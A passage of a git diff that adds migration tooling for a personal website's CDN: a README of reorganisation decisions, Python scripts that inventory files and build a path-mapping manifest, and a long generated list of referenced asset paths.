9legacy/ + harvey/ + jehanne/ + inferno/ + windows/ + win11/ + other/ + haiku/ + redox/ + serenity/ + kolibrios/ + menuetos/ +``` + +## Examples + +``` +iso/linux/arch/arch-2026.05.01-x86_64.iso +iso/linux/artix/artix-base-runit-20260401-x86_64.iso +iso/linux/blackarch/blackarch-2026.04.01-x86_64.iso +iso/linux/gentoo/gentoo-install-amd64-minimal-20260510.iso +iso/linux/void/void-live-x86_64-20260301.iso +iso/linux/nixos/nixos-25.05-x86_64.iso +iso/linux/kali/kali-2026.1-installer-amd64.iso +iso/linux/uwuntu/uwuntu-23.04-desktop-amd64.iso +iso/linux/temple-os/temple-os-5.03.iso +iso/linux/hannah-montana/hannah-montana-2.0-i686.iso +iso/bsd/openbsd/openbsd-7.7-amd64.iso +iso/bsd/freebsd/freebsd-14.2-RELEASE-amd64-disc1.iso +iso/bsd/netbsd/netbsd-10.1-amd64.iso +iso/bsd/dragonflybsd/dragonflybsd-6.6.0-x86_64.iso +iso/plan9/9front/9front-10603.amd64.iso +iso/plan9/plan9/plan9-4e-386.iso +iso/plan9/inferno/inferno-20150328.iso +iso/plan9/harvey/harvey-0.1-amd64.iso +iso/windows/win11/win11-25h2-english-x86_64.iso +iso/other/haiku/haiku-r1beta5-x86_64.iso +iso/other/redox/redox-0.9.0-x86_64.iso +iso/other/serenity/serenity-20260501-x86_64.iso +``` + +## Migration + +- `iso/win11/Win11_25H2_English_x64_v2.iso` -> `iso/windows/win11/win11-25h2-english-x86_64.iso` (rename to match convention) diff --git a/doc/files/cdn/migration/README.md b/doc/files/cdn/migration/README.md new file mode 100644 index 0000000000000000000000000000000000000000..f79b748c0fde7964d521694b4a027e27f7c4e5d1 --- /dev/null +++ b/doc/files/cdn/migration/README.md @@ -0,0 +1,44 @@ +# CDN migration workspace + +This directory holds reproducible tooling and notes for rebuilding the cloned +CDN route at `/mnt/storage/new-cdn`. + +The live route at `/mnt/storage/cdn` is the source of truth for the initial +clone and must stay untouched until the new route, URL updates, and dependent +databases are verified. + +## Current decisions + +- `video/` becomes `vids/`. +- `images/` and `photos/` collapse into `pics/`. +- Current referenced images win canonical slots by default. +- Existing public basename conventions override newer draft slug ideas. +- Fictional characters all move to `pics/people/characters/`. +- Books move to `pics/media/books/{slug}/`, without Library of Congress + classification subdirectories. +- `photos.krisyotam.com` is a rebuild target after the final tree and manifest + are stable. + +## First-pass outputs + +The first manifest pass should produce: + +- an inventory of every file in `/mnt/storage/new-cdn`; +- a URL reference index from `src/krisyotam.com`, `lit/content`, and + `src/photos.krisyotam.com`; +- a proposed path map with canonical/variant status; +- a review list for ambiguous classes, duplicate canonical candidates, and + source buckets not yet covered by the docs. + +Do not delete old paths from `new-cdn` during the first pass. Build the map, +review it, then move files in a separate step. + +## Operational paths + +- Clone target: `/mnt/storage/new-cdn` +- Standalone archive route: `/mnt/storage/archive` +- Migration workdir on STARGATE: `/mnt/storage/cdn-migration` +- Full inventory output: `/mnt/storage/cdn-migration/new-cdn-inventory.tsv` + +The inventory hashes every file. It may appear idle at the beginning because +large archive files are hashed before the first TSV row is flushed. diff --git a/doc/files/cdn/migration/build_manifest.py b/doc/files/cdn/migration/build_manifest.py new file mode 100644 index 0000000000000000000000000000000000000000..4eb0cc5f8e3ffb0491ad25864dbc55a3b1e43005 --- /dev/null +++ b/doc/files/cdn/migration/build_manifest.py @@ -0,0 +1,321 @@ +#!/usr/bin/env python3 +"""Build a first-pass CDN migration manifest. + +This script is intentionally conservative. It maps paths covered by the CDN +docs, keeps stable roots as-is, and marks unresolved buckets for review instead +of guessing. It can read a local inventory TSV generated from STARGATE and add +local URL reference data from the dependent repositories. +""" + +from __future__ import annotations + +import argparse +import csv +import os +import re +import sqlite3 +import subprocess +from collections import defaultdict +from dataclasses import dataclass +from pathlib import Path + + +CDN_URL_RE = re.compile( + r"(?:https?://(?:www\.)?krisyotam\.com)?(/cdn/[^\s\"'<>),\]]+)" +) + +MEDIA_EXTS = { + ".avif", + ".gif", + ".jpeg", + ".jpg", + ".png", + ".svg", + ".webp", +} + +KEEP_ROOTS = {"assets", "audio", "fonts", "games", "iso", "vr"} +MOVE_OUT_ROOTS = {"archive", "git", "git-edu", "deep-research"} +DELETE_EMPTY_ROOTS = {"art", "posts", "stills"} + + +@dataclass(frozen=True) +class InventoryRow: + path: str + size: int + sha256: str = "" + mime: str = "" + width: str = "" + height: str = "" + + +def slug_stem(path: str) -> str: + return Path(path).stem.lower().replace("_", "-").replace(" ", "-") + + +def canonical_name(path: str, kind: str) -> str: + ext = Path(path).suffix.lower() or ".jpg" + if kind == "person": + return f"portrait{ext}" + if kind == "platform": + return f"profile{ext}" + return f"cover{ext}" + + +def media_dir(medium: str, path: str) -> str: + return f"pics/media/{medium}/{slug_stem(path)}/{canonical_name(path, 'media')}" + + +def people_dir(role: str, path: str) -> str: + return f"pics/people/{role}/{slug_stem(path)}/{canonical_name(path, 'person')}" + + +def collection_path(collection: str, path: str, prefix: str) -> str: + rel = path.removeprefix(prefix).lstrip("/") + return f"pics/collections/{collection}/{rel}" + + +def map_path(old_path: str) -> tuple[str, str, str]: + parts = old_path.split("/") + root = parts[0] + ext = Path(old_path).suffix.lower() + + if root in KEEP_ROOTS: + return old_path, "keep", "stable-root" + if root in MOVE_OUT_ROOTS: + return "", "move-out", f"{root}-is-not-cdn-content" + if root in DELETE_EMPTY_ROOTS: + return "", "review", f"{root}-expected-empty-or-retired" + if root == "video": + return "vids/" + "/".join(parts[1:]), "rename", "video-to-vids" + if root == "mp3s": + return "audio/" + "/".join(parts[1:]), "review", "mp3s-needs-audio-subdir" + if root == "wallpapers": + return "pics/collections/wallpapers/" + "/".join(parts[1:]), "move", "wallpapers-collection" + if root == "cover": + return "assets/covers/" + "/".join(parts[1:]), "review", "cover-root-likely-assets-covers" + + if root == "photos": + return map_photo(old_path, parts, ext) + if root == "images": + return map_image(old_path, parts, ext) + + return "", "review", "unknown-root" + + +def map_photo(old_path: str, parts: list[str], ext: str) -> tuple[str, str, str]: + if len(parts) < 2: + return "", "review", "photos-root-file" + bucket = parts[1] + rest = "/".join(parts[2:]) + + if bucket == "artists": + return people_dir("musicians", old_path), "candidate", "photos-artists-to-musicians" + if bucket == "bookstores": + return collection_path("bookstores", old_path, "photos/bookstores"), "move", "bookstores-collection" + if bucket == "characters": + return people_dir("characters", old_path), "candidate", "photos-characters-to-people-characters" + if bucket == "covers" and len(parts) >= 4: + medium = normalize_medium(parts[2]) + return media_dir(medium, old_path), "candidate", "photos-covers-to-media" + if bucket == "icebergs": + return collection_path("icebergs", old_path, "photos/icebergs"), "move", "icebergs-collection" + if bucket == "logos": + return collection_path("logos", old_path, "photos/logos"), "move", "logos-collection" + if bucket == "mal": + user = parts[2] if len(parts) > 2 else slug_stem(old_path) + return f"pics/platform/mal/{user}/{canonical_name(old_path, 'platform')}", "candidate", "mal-profile" + if bucket == "notebooks": + return collection_path("krisyotam/notebooks", old_path, "photos/notebooks"), "move", "krisyotam-notebooks" + if bucket == "people" and len(parts) >= 4: + return people_dir(parts[2], old_path), "candidate", "photos-people-role" + if bucket in {"PFPs", "pfps"}: + return collection_path("pfps", old_path, f"photos/{bucket}"), "move", "pfps-collection" + if bucket in {"Misc", "blinkies", "discord-emojis"}: + collection = { + "Misc": "misc", + "blinkies": "blinkies", + "discord-emojis": "discord-emojis", + }[bucket] + return collection_path(collection, old_path, f"photos/{bucket}"), "move", "misc-collection" + if bucket in {"content", "reference", "research", "shop"}: + return collection_path("krisyotam/" + bucket, old_path, f"photos/{bucket}"), "move", "krisyotam-collection" + + return f"pics/collections/{bucket}/{rest}", "review", "photos-unmapped-bucket" + + +def map_image(old_path: str, parts: list[str], ext: str) -> tuple[str, str, str]: + if len(parts) < 2: + return "", "review", "images-root-file" + bucket = parts[1] + + direct_media = { + "anime": "anime", + "ballet": "ballet", + "console": "console", + "courses": "courses", + "film": "film", + "games": "games", + "lectures": "lectures", + "literature": "books", + "manga": "manga", + "plays": "plays", + "playlist": "albums", + "tv": "tv", + "workbooks": "books", + } + people_roles = { + "actors", + "artists", + "authors", + "ballerinas", + "characters", + "designers", + "mathematicians", + "musicians", + "philosophers", + "poets", + } + + if bucket == "people" and len(parts) >= 4: + role = "characters" if parts[2] in {"anime", "film", "tv"} else parts[2] + return people_dir(role, old_path), "candidate", "images-people-role" + if bucket == "artists": + return people_dir("musicians", old_path), "candidate", "images-artists-to-musicians" + if bucket in people_roles: + return people_dir(bucket, old_path), "candidate", "images-role-at-root" + if bucket in direct_media: + return media_dir(direct_media[bucket], old_path), "candidate", f"images-{bucket}-to-media" + if bucket == "media": + return "", "review", "images-media-needs-medium-sort" + if bucket == "covers" and len(parts) >= 4: + return media_dir(normalize_medium(parts[2]), old_path), "candidate", "images-covers-to-media" + if bucket == "anime-girls-with-programming-books": + return collection_path("anime-girls-with-programming-books", old_path, "images/anime-girls-with-programming-books"), "move", "programming-books-collection" + if bucket in {"blinkies", "discord-emojis", "bookstores", "icebergs"}: + return collection_path(bucket, old_path, f"images/{bucket}"), "move", f"{bucket}-collection" + if bucket in {"art", "reference", "research", "shop"}: + return collection_path(bucket, old_path, f"images/{bucket}"), "move", f"{bucket}-collection" + if bucket in {"logos", "notebooks"}: + return collection_path("krisyotam/" + bucket, old_path, f"images/{bucket}"), "review", f"images-{bucket}-needs-subsort" + if bucket == "mal": + user = parts[2] if len(parts) > 2 else slug_stem(old_path) + return f"pics/platform/mal/{user}/{canonical_name(old_path, 'platform')}", "candidate", "mal-profile" + if bucket in {"pfps", "PFPs"}: + return collection_path("pfps", old_path, f"images/{bucket}"), "move", "pfps-collection" + if bucket in {"content", "posts"}: + return collection_path("krisyotam/content", old_path, f"images/{bucket}"), "review", "content-posts-needs-route-review" + + return "", "review", "images-unmapped-bucket" + + +def normalize_medium(value: str) -> str: + table = { + "literature": "books", + "workbooks": "books", + "movies": "film", + "posters": "film", + "playlist": "albums", + } + return table.get(value, value) + + +def load_inventory(path: Path) -> list[InventoryRow]: + rows: list[InventoryRow] = [] + with path.open(newline="") as fh: + reader = csv.DictReader(fh, delimiter="\t") + for row in reader: + rows.append( + InventoryRow( + path=row["path"], + size=int(row.get("size") or 0), + sha256=row.get("sha256", ""), + mime=row.get("mime", ""), + width=row.get("width", ""), + height=row.get("height", ""), + ) + ) + return rows + + +def collect_references(paths: list[Path], photos_db: Path | None) -> dict[str, list[str]]: + refs: dict[str, list[str]] = defaultdict(list) + for base in paths: + if not base.exists(): + continue + cmd = ["rg", "-n", "--no-heading", r"(/cdn/|krisyotam\.com/cdn/)", str(base)] + proc = subprocess.run(cmd, text=True, capture_output=True, check=False) + for line in proc.stdout.splitlines(): + for match in CDN_URL_RE.findall(line): + cdn_path = match.removeprefix("/cdn/") + refs[cdn_path].append(line) + + if photos_db and photos_db.exists(): + conn = sqlite3.connect(photos_db) + try: + for (url,) in conn.execute("select url from images where url like '%/cdn/%'"): + for match in CDN_URL_RE.findall(url): + refs[match.removeprefix("/cdn/")].append(f"{photos_db}:images.url") + finally: + conn.close() + + return refs + + +def write_manifest(rows: list[InventoryRow], refs: dict[str, list[str]], output: Path) -> None: + with output.open("w", newline="") as fh: + fieldnames = [ + "old_path", + "new_path", + "old_url", + "new_url", + "size", + "sha256", + "mime", + "width", + "height", + "status", + "reason", + "reference_count", + ] + writer = csv.DictWriter(fh, fieldnames=fieldnames, delimiter="\t") + writer.writeheader() + for row in rows: + new_path, status, reason = map_path(row.path) + writer.writerow( + { + "old_path": row.path, + "new_path": new_path, + "old_url": f"/cdn/{row.path}", + "new_url": f"/cdn/{new_path}" if new_path else "", + "size": row.size, + "sha256": row.sha256, + "mime": row.mime, + "width": row.width, + "height": row.height, + "status": status, + "reason": reason, + "reference_count": len(refs.get(row.path, [])), + } + ) + + +def main() -> int: + parser = argparse.ArgumentParser() + parser.add_argument("--inventory", required=True, type=Path) + parser.add_argument("--output", required=True, type=Path) + parser.add_argument("--krisyotam", type=Path, default=Path("/home/krisyotam/src/krisyotam.com")) + parser.add_argument("--lit", type=Path, default=Path("/home/krisyotam/lit/content")) + parser.add_argument("--photos", type=Path, default=Path("/home/krisyotam/src/photos.krisyotam.com")) + parser.add_argument("--photos-db", type=Path, default=Path("/home/krisyotam/src/photos.krisyotam.com/public/images.db")) + args = parser.parse_args() + + rows = load_inventory(args.inventory) + refs = collect_references([args.krisyotam, args.lit, args.photos], args.photos_db) + args.output.parent.mkdir(parents=True, exist_ok=True) + write_manifest(rows, refs, args.output) + return 0 + + +if __name__ == "__main__": + raise SystemExit(main()) diff --git a/doc/files/cdn/migration/inventory_remote.py b/doc/files/cdn/migration/inventory_remote.py new file mode 100644 index 0000000000000000000000000000000000000000..691e706ec82fbdf250069ba9c0e1440ea62e9adb --- /dev/null +++ b/doc/files/cdn/migration/inventory_remote.py @@ -0,0 +1,177 @@ +#!/usr/bin/env python3 +"""Inventory a CDN tree on STARGATE. + +The output is TSV on stdout: + +path, size, sha256, mime, width, height + +It uses only the Python standard library so it can run on STARGATE without +installing ImageMagick or other packages. +""" + +from __future__ import annotations + +import argparse +import csv +import hashlib +import mimetypes +import os +import struct +import sys +from pathlib import Path + + +def sha256_file(path: Path) -> str: + h = hashlib.sha256() + with path.open("rb") as fh: + for chunk in iter(lambda: fh.read(1024 * 1024), b""): + h.update(chunk) + return h.hexdigest() + + +def png_size(path: Path) -> tuple[str, str]: + with path.open("rb") as fh: + data = fh.read(24) + if data[:8] != b"\x89PNG\r\n\x1a\n" or data[12:16] != b"IHDR": + return "", "" + width, height = struct.unpack(">II", data[16:24]) + return str(width), str(height) + + +def gif_size(path: Path) -> tuple[str, str]: + with path.open("rb") as fh: + data = fh.read(10) + if data[:6] not in {b"GIF87a", b"GIF89a"}: + return "", "" + width, height = struct.unpack("<HH", data[6:10]) + return str(width), str(height) + + +def jpeg_size(path: Path) -> tuple[str, str]: + with path.open("rb") as fh: + if fh.read(2) != b"\xff\xd8": + return "", "" + while True: + marker_start = fh.read(1) + if not marker_start: + return "", "" + if marker_start != b"\xff": + continue + marker = fh.read(1) + while marker == b"\xff": + marker = fh.read(1) + if marker in {b"\xd8", b"\xd9"}: + continue + size_bytes = fh.read(2) + if len(size_bytes) != 2: + return "", "" + segment_len = struct.unpack(">H", size_bytes)[0] + if marker in { + b"\xc0", + b"\xc1", + b"\xc2", + b"\xc3", + b"\xc5", + b"\xc6", + b"\xc7", + b"\xc9", + b"\xca", + b"\xcb", + b"\xcd", + b"\xce", + b"\xcf", + }: + data = fh.read(5) + if len(data) != 5: + return "", "" + height, width = struct.unpack(">HH", data[1:5]) + return str(width), str(height) + fh.seek(segment_len - 2, os.SEEK_CUR) + + +def webp_size(path: Path) -> tuple[str, str]: + with path.open("rb") as fh: + data = fh.read(30) + if data[:4] != b"RIFF" or data[8:12] != b"WEBP": + return "", "" + chunk = data[12:16] + if chunk == b"VP8 " and len(data) >= 30: + width, height = struct.unpack("<HH", data[26:30]) + return str(width & 0x3FFF), str(height & 0x3FFF) + if chunk == b"VP8L" and len(data) >= 25: + b0, b1, b2, b3 = data[21:25] + width = 1 + (((b1 & 0x3F) << 8) | b0) + height = 1 + (((b3 & 0x0F) << 10) | (b2 << 2) | ((b1 & 0xC0) >> 6)) + return str(width), str(height) + if chunk == b"VP8X" and len(data) >= 30: + width = 1 + int.from_bytes(data[24:27], "little") + height = 1 + int.from_bytes(data[27:30], "little") + return str(width), str(height) + return "", "" + + +def image_size(path: Path) -> tuple[str, str]: + suffix = path.suffix.lower() + try: + if suffix == ".png": + return png_size(path) + if suffix == ".gif": + return gif_size(path) + if suffix in {".jpg", ".jpeg"}: + return jpeg_size(path) + if suffix == ".webp": + return webp_size(path) + except OSError: + return "", "" + return "", "" + + +def mime_for(path: Path) -> str: + guessed, _ = mimetypes.guess_type(path.name) + if guessed: + return guessed + return "" + + +def iter_files(root: Path): + for dirpath, dirnames, filenames in os.walk(root): + dirnames.sort() + filenames.sort() + for filename in filenames: + path = Path(dirpath) / filename + if path.is_file(): + yield path + + +def main() -> int: + parser = argparse.ArgumentParser() + parser.add_argument("root", type=Path) + args = parser.parse_args() + + root = args.root.resolve() + writer = csv.DictWriter( + sys.stdout, + fieldnames=["path", "size", "sha256", "mime", "width", "height"], + delimiter="\t", + lineterminator="\n", + ) + writer.writeheader() + for path in iter_files(root): + rel = path.relative_to(root).as_posix() + stat = path.stat() + width, height = image_size(path) + writer.writerow( + { + "path": rel, + "size": stat.st_size, + "sha256": sha256_file(path), + "mime": mime_for(path), + "width": width, + "height": height, + } + ) + return 0 + + +if __name__ == "__main__": + raise SystemExit(main()) diff --git a/doc/files/cdn/migration/output/all-reference-paths.txt b/doc/files/cdn/migration/output/all-reference-paths.txt new file mode 100644 index 0000000000000000000000000000000000000000..22545da757857760bc8152b70fe13bfb0b7b2a41 --- /dev/null +++ b/doc/files/cdn/migration/output/all-reference-paths.txt @@ -0,0 +1,7264 @@ +** +archive/apple/macbook-13inch-mid-2010-technical-specifications.pdf +assets/404/audio/ +assets/404/img/ +assets/404/videos/ +assets/characters +assets/covers/blog/God-is-not-a-respecter-of-persons.png +assets/covers/blog/albert-anker--schreibender-knabe-mit-schwesterchen-1883.jpg +assets/covers/blog/do-not-be-overly-righteous.png +assets/covers/blog/edward-hopper--new-york-movie-1939.jpg +assets/covers/blog/eugene-delacroix--mephistopheles-apparaissant-a-faust-1828.jpg +assets/covers/blog/friedrich-rehberg--drawings-from-nature-pl09-1794.jpg +assets/covers/blog/god-is-not-a-tempter-of-man.png +assets/covers/blog/gustave-courbet--the-desperate-man-1845.jpg +assets/covers/blog/john-william-waterhouse--the-crystal-ball-1902.jpeg +assets/covers/blog/marie-taglioni-the-first-to-float.jpg +assets/covers/blog/the-waste-land.jpg +assets/covers/blog/ulalume.jpg +assets/covers/essays/analysis-of-daisy-randone.png +assets/covers/essays/analysis-of-lisa-rowe.png +assets/covers/essays/analysis-of-susanna-kaysen.png +assets/covers/essays/hieronymus-bosch--the-garden-of-earthly-delights-1510.webp +assets/covers/essays/nikolai-bogdanov-belsky--mental-arithmetic-1895.webp +assets/covers/essays/remedios-varo--embroidering-the-earths-mantle-1961.jpg +assets/covers/essays/thomas-couture--romans-during-the-decadence-1847.jpg +assets/covers/fiction/how-they-fall/aurora-miller.png +assets/covers/notes/analysis-of-veronica-sawyer.png +assets/covers/notes/mnemosyne.png +assets/covers/notes/on-torrents.png +assets/covers/notes/winona-ryder.png +assets/covers/ocs/astrid-baxter.png +assets/covers/ocs/aurora-miller.png +assets/covers/ocs/azazel.png +assets/covers/ocs/chloe-elyon.png +assets/covers/ocs/elmer-remington.png +assets/covers/ocs/ena-of-mitani.png +assets/covers/ocs/gertrude-jennings.png +assets/covers/ocs/hortense-fletcher.png +assets/covers/ocs/imogen-riccheti.png +assets/covers/ocs/josephine-gilroy.png +assets/covers/ocs/lavinia-fairchild.png +assets/covers/ocs/lillith.png +assets/covers/ocs/lior-elyon.png +assets/covers/ocs/minerva-remington.png +assets/covers/ocs/miranda-strauss.png +assets/covers/ocs/morgan-elwood.png +assets/covers/ocs/prescilla-prescott.png +assets/covers/ocs/rylee-moncler.png +assets/covers/ocs/saul-matsuda.png +assets/covers/ocs/sydney-lane.png +assets/covers/ocs/william-miller.png +assets/covers/ocs/yifah-cohen.png +assets/covers/ocs/zephyra.png +assets/logos/krisyotam-dark.png +assets/logos/krisyotam-light.png +assets/logos/krisyotam-personal-crest-darkmode.png +assets/logos/krisyotam-personal-crest.png +assets/logos/krisyotam-site-dark.png +assets/logos/krisyotam-site-light.png +assets/logos/krisyotam-site-sticker-darkmode.gif +assets/logos/krisyotam-site-sticker-lightmode.gif +assets/stickers/88x31/22.png +assets/stickers/88x31/3dsowner.jpg +assets/stickers/88x31/bad-apple.webp +assets/stickers/88x31/blm-b.png +assets/stickers/88x31/edited-with-vim.gif +assets/stickers/88x31/free-speech-forever.gif +assets/stickers/88x31/fuck-facebook.svg +assets/stickers/88x31/geocities5.gif +assets/stickers/88x31/i-use-arch-linux-btw-88x31.png +assets/stickers/88x31/iloveoldweb.png +assets/stickers/88x31/itoddler.gif +assets/stickers/88x31/linux-directory.gif +assets/stickers/88x31/linux-p.gif +assets/stickers/88x31/lulu.gif +assets/stickers/88x31/mothracompat.gif +assets/stickers/88x31/neocities.gif +assets/stickers/88x31/neocitiesorg.gif +assets/stickers/88x31/nintedowii.png +assets/stickers/88x31/noaa.gif +assets/stickers/88x31/powered-by-plan9.gif +assets/stickers/88x31/right2repair.gif +assets/stickers/88x31/sharing-is-caring.gif +assets/stickers/88x31/sonic.gif +assets/stickers/88x31/this-site-is-miku-approved.gif +assets/stickers/88x31/this-site-was-made-in-arch.gif +assets/stickers/88x31/tor.gif +assets/stickers/88x31/vivaldi.gif +assets/stickers/88x31/volta.gif +assets/stickers/88x31/wget.gif +assets/stickers/88x31/wikipedia.gif +assets/stickers/88x31/winampg.gif +assets/stickers/neighbors/ransei.gif +audio/`. +audio/sfx/twinkle.mp3 +images/anime-girls-with-programming-books/A%2B%2B/Nyako_A%2B%2B.png +images/anime-girls-with-programming-books/A%2B%2B/akira_A%2B%2B.jpeg +images/anime-girls-with-programming-books/ABAP/Astolfo_reading_ABAP_objects.png +images/anime-girls-with-programming-books/ABAP/Felix_Argyle_holding_ABAP_textbooks.png +images/anime-girls-with-programming-books/ABAP/Stable_Diffusion_Girl_Holding_ABAP_Books.png +images/anime-girls-with-programming-books/AI/CC_Understanding_ML.png +images/anime-girls-with-programming-books/AI/Fujiwara_Chika_Deep_Learning.png +images/anime-girls-with-programming-books/AI/Minako_Aino_ESL_Hastie.png +images/anime-girls-with-programming-books/AI/Nico_Robin_Bishop_ML.png +images/anime-girls-with-programming-books/AI/Princess_Renner_Machine_Learning_A_Probabilistic_Perspective.png +images/anime-girls-with-programming-books/AI/Rei_Ayanami_ISL.png +images/anime-girls-with-programming-books/AI/Sakura_Haruno_Reinforcement_Learning.png +images/anime-girls-with-programming-books/AI/Umaru_chan_holding_AI_Engineering.png +images/anime-girls-with-programming-books/AI/mai-sakurajima-holding-hands-on-machine-learning.jpg +images/anime-girls-with-programming-books/AI/tsunade_artificial.png +images/anime-girls-with-programming-books/APL/Toujou_APL.png +images/anime-girls-with-programming-books/ASM/Atsuko_Kagari_Assembly_Programming_with_RISC-V.png +images/anime-girls-with-programming-books/ASM/Denilmo_Web_Development_With_Assembly.png +images/anime-girls-with-programming-books/ASM/Frieren_Assembly_Language_For_x86_Processors.png +images/anime-girls-with-programming-books/ASM/Karen_Assembly_Language_Step_by_Step.png +images/anime-girls-with-programming-books/ASM/Karen_Kujou_Holding_ARM_Assembly_Book.png +images/anime-girls-with-programming-books/ASM/Ninomae_Inanis_Holding_ASM_Programming.png +images/anime-girls-with-programming-books/ASM/Shinomiya_Kaguya_Holding_Assembly_Step_By_Step.png +images/anime-girls-with-programming-books/ASM/Shinomiya_Kaguya_With_Assembly_Language.png +images/anime-girls-with-programming-books/ASM/Takami_Chika_Stressing_On_Assembly.png +images/anime-girls-with-programming-books/ASM/Tomo_Takino_Assembly.png +images/anime-girls-with-programming-books/ASM/Urara_Shiratori_Holding_Assembly_Language_Step_By_Step.jpg +images/anime-girls-with-programming-books/ASM/Yui_Hirasawa_Modern_x86_Assembly_Language.png +images/anime-girls-with-programming-books/ASM/iM%40S_Shijo_Takane_holding_Assembly_Language_for_x86_Processors.png +images/anime-girls-with-programming-books/AWS/Isla_Holding_Clould_AWS_Book.png +images/anime-girls-with-programming-books/Ada/Shiomiya_Shiori_Holding_Shy_Ada_95_From_The_Beginning.jpg +images/anime-girls-with-programming-books/Agda/Agda_PROGRAM_%3D_PROOF_Samuel_Mimram.jpg +images/anime-girls-with-programming-books/Agda/Agda_thesis_bookworm.gif +images/anime-girls-with-programming-books/Algorithms/Echidna_Holds_Algorithms_And_Data_Structure_Portuguese.png +images/anime-girls-with-programming-books/Algorithms/Eru_Chitanda_Holding_40_Algorithms_Every_Programmer_Should_Know.png +images/anime-girls-with-programming-books/Algorithms/Inose_Mai_Teaches_Introduction_to_Algorithms.jpg +images/anime-girls-with-programming-books/Algorithms/Kana_Arima_Holding_Algorithms_Book.png +images/anime-girls-with-programming-books/Algorithms/Kobayashi_Holds_9_Algorithms_That_Changed_The_World.png +images/anime-girls-with-programming-books/Algorithms/Komi_Shouko_holding_Introduction_to_Algorithms.jpg +images/anime-girls-with-programming-books/Algorithms/Konohata_Mira_Reads_Introduction_to_Algorithms.jpg +images/anime-girls-with-programming-books/Algorithms/Manaka_Ao_Holds_Introduction_to_Algorithms.jpg +images/anime-girls-with-programming-books/Algorithms/Marcille_Donato_Algorithms_Sedgewick.png +images/anime-girls-with-programming-books/Algorithms/Miku_Reading_DPV.jpg +images/anime-girls-with-programming-books/Algorithms/Mila_Holding_Algorithms_Book.jpg +images/anime-girls-with-programming-books/Algorithms/Mio_Akiyama_Kageyama_Ritsu_reading_Introduction_to_Algorithms.jpg +images/anime-girls-with-programming-books/Algorithms/Misa_Amane_Death_Note_Holding_Algorithms_Book.jpg +images/anime-girls-with-programming-books/Algorithms/Rina_Tennoji_Holds_Russian_The_Art_Of_Computer_Programming.png +images/anime-girls-with-programming-books/Algorithms/Roxy_Holding_Grokking_Algorithms.png +images/anime-girls-with-programming-books/Algorithms/Sakura_Nene_Algorithms.png +images/anime-girls-with-programming-books/Algorithms/Sakurai_Mikage_Holds_Introduction_to_Algorithms.jpg +images/anime-girls-with-programming-books/Algorithms/Suletta_Mecury_holding_The_Art_of_Computer_Programming_TAOCP.jpg +images/anime-girls-with-programming-books/Algorithms/Tsukasa_Yuzaki_reading_Algorithms.png +images/anime-girls-with-programming-books/Algorithms/lain_holding_introduction_to_algorithms.png +images/anime-girls-with-programming-books/Angular/Kana_Arima_Holding_Angular_Book.jpg +images/anime-girls-with-programming-books/Angular/Nazuna_Nanakusa_Holding_Angular_Book.jpg +images/anime-girls-with-programming-books/Angular/Nazuna_Nanakusa_Holding_Haskell_Book_At_Night.jpg +images/anime-girls-with-programming-books/Angular/Shouko_Komi_Holding_Angular_Book.jpg +images/anime-girls-with-programming-books/Architecture/Akko_Holding_Digital_Design_And_Computer_Architecture_RISCV.png +images/anime-girls-with-programming-books/Architecture/Anya_Forger_Cloud_Native_OReilly.png +images/anime-girls-with-programming-books/Architecture/Azusa_Fuyutsuki_Holding_GT_Programozas1_Tervezes_HUN.png +images/anime-girls-with-programming-books/Architecture/Frieren_Clean_Architecture_Robert_Martin.png +images/anime-girls-with-programming-books/Architecture/Miko_Yotsuya_Holding_Computer_Organization_And_Design.jpg +images/anime-girls-with-programming-books/Architecture/Mona_Megistus_holding_Clean_Architecture.png +images/anime-girls-with-programming-books/Architecture/Nagatoro_Bullying_Senpai_For_Good_Reason.png +images/anime-girls-with-programming-books/Architecture/Sophia_Ascart_Holding_Computer_Organization_And_Architecture_Book.png +images/anime-girls-with-programming-books/Architecture/Umaru_Chan_Holding_The_Intel_Microprocessors_International_Edition.png +images/anime-girls-with-programming-books/Architecture/Vigne_hold_Computer_Architecture_A_Quantitative_Approach.png +images/anime-girls-with-programming-books/Architecture/klee_computer_organization_and_design.png +images/anime-girls-with-programming-books/Beef/Wandering_Witch_Beef.jpg +images/anime-girls-with-programming-books/C%23/Chisaki_Tapris_C%23.png +images/anime-girls-with-programming-books/C%23/Chito_Holding_C%23_Book.jpg +images/anime-girls-with-programming-books/C%23/Freiren_holding_c%23_book.png +images/anime-girls-with-programming-books/C%23/Fuuka_Kikuchi.png +images/anime-girls-with-programming-books/C%23/Hatsune_Miku_Holding_C%23_Player%27s_Guide.png +images/anime-girls-with-programming-books/C%23/Hatsune_Miku_Holding_C%23_Programming.png +images/anime-girls-with-programming-books/C%23/Kujou_Karen_dotNet_2_0_IL_Assembler.png +images/anime-girls-with-programming-books/C%23/Kurumizawa_Satanichia_C%23.png +images/anime-girls-with-programming-books/C%23/Mai_Sakurajima_C%23_in_a_Nutshell.png +images/anime-girls-with-programming-books/C%23/Mio_Akiyama_Holding_C%23_Book_Listening_To_Music.jpg +images/anime-girls-with-programming-books/C%23/PRO_C%23_7.jpg +images/anime-girls-with-programming-books/C%23/Rei_Ayanami_C%23.png +images/anime-girls-with-programming-books/C%23/Shiori_Shiomiya_CLR_via_CSharp_In_Russian.png +images/anime-girls-with-programming-books/C%23/Violet_Evergarden_Holds_C_Sharp_Book_Portuguese.png +images/anime-girls-with-programming-books/C%23/Yasuraoka_Hanabi_Reading_CSharp_Language_Book.png.png +images/anime-girls-with-programming-books/C%2B%2B/Anya%20C%2B%2B%20Data%20structures%20and%20algorithms.jpg +images/anime-girls-with-programming-books/C%2B%2B/Bocchi_the_rock_Hitori_Gotoh_the_c%2B%2B_programming_language.png +images/anime-girls-with-programming-books/C%2B%2B/Chise_Hatori_Holding_C%2B%2B_Book.jpg +images/anime-girls-with-programming-books/C%2B%2B/Confused_Frieren_Holding_The_C%2B%2B_Programming_Language.png +images/anime-girls-with-programming-books/C%2B%2B/Frederica_Rosenfort_CPP.jpg +images/anime-girls-with-programming-books/C%2B%2B/Frieren_And_Fern_Reading_The_C%2B%2B_Programming_Language.png +images/anime-girls-with-programming-books/C%2B%2B/Frieren_Holding_Komputer_Swiat_C%2B%2B_Course.png +images/anime-girls-with-programming-books/C%2B%2B/Fujiwara_Chika_CPP_for_dummies.jpg +images/anime-girls-with-programming-books/C%2B%2B/Fuko_Accelerated_CPP.png +images/anime-girls-with-programming-books/C%2B%2B/Game_Programming_In_c%2B%2B.png +images/anime-girls-with-programming-books/C%2B%2B/Honami-Holding-CPP-Book.png +images/anime-girls-with-programming-books/C%2B%2B/Ichinose_Chizuru_Advanced_CPP.png 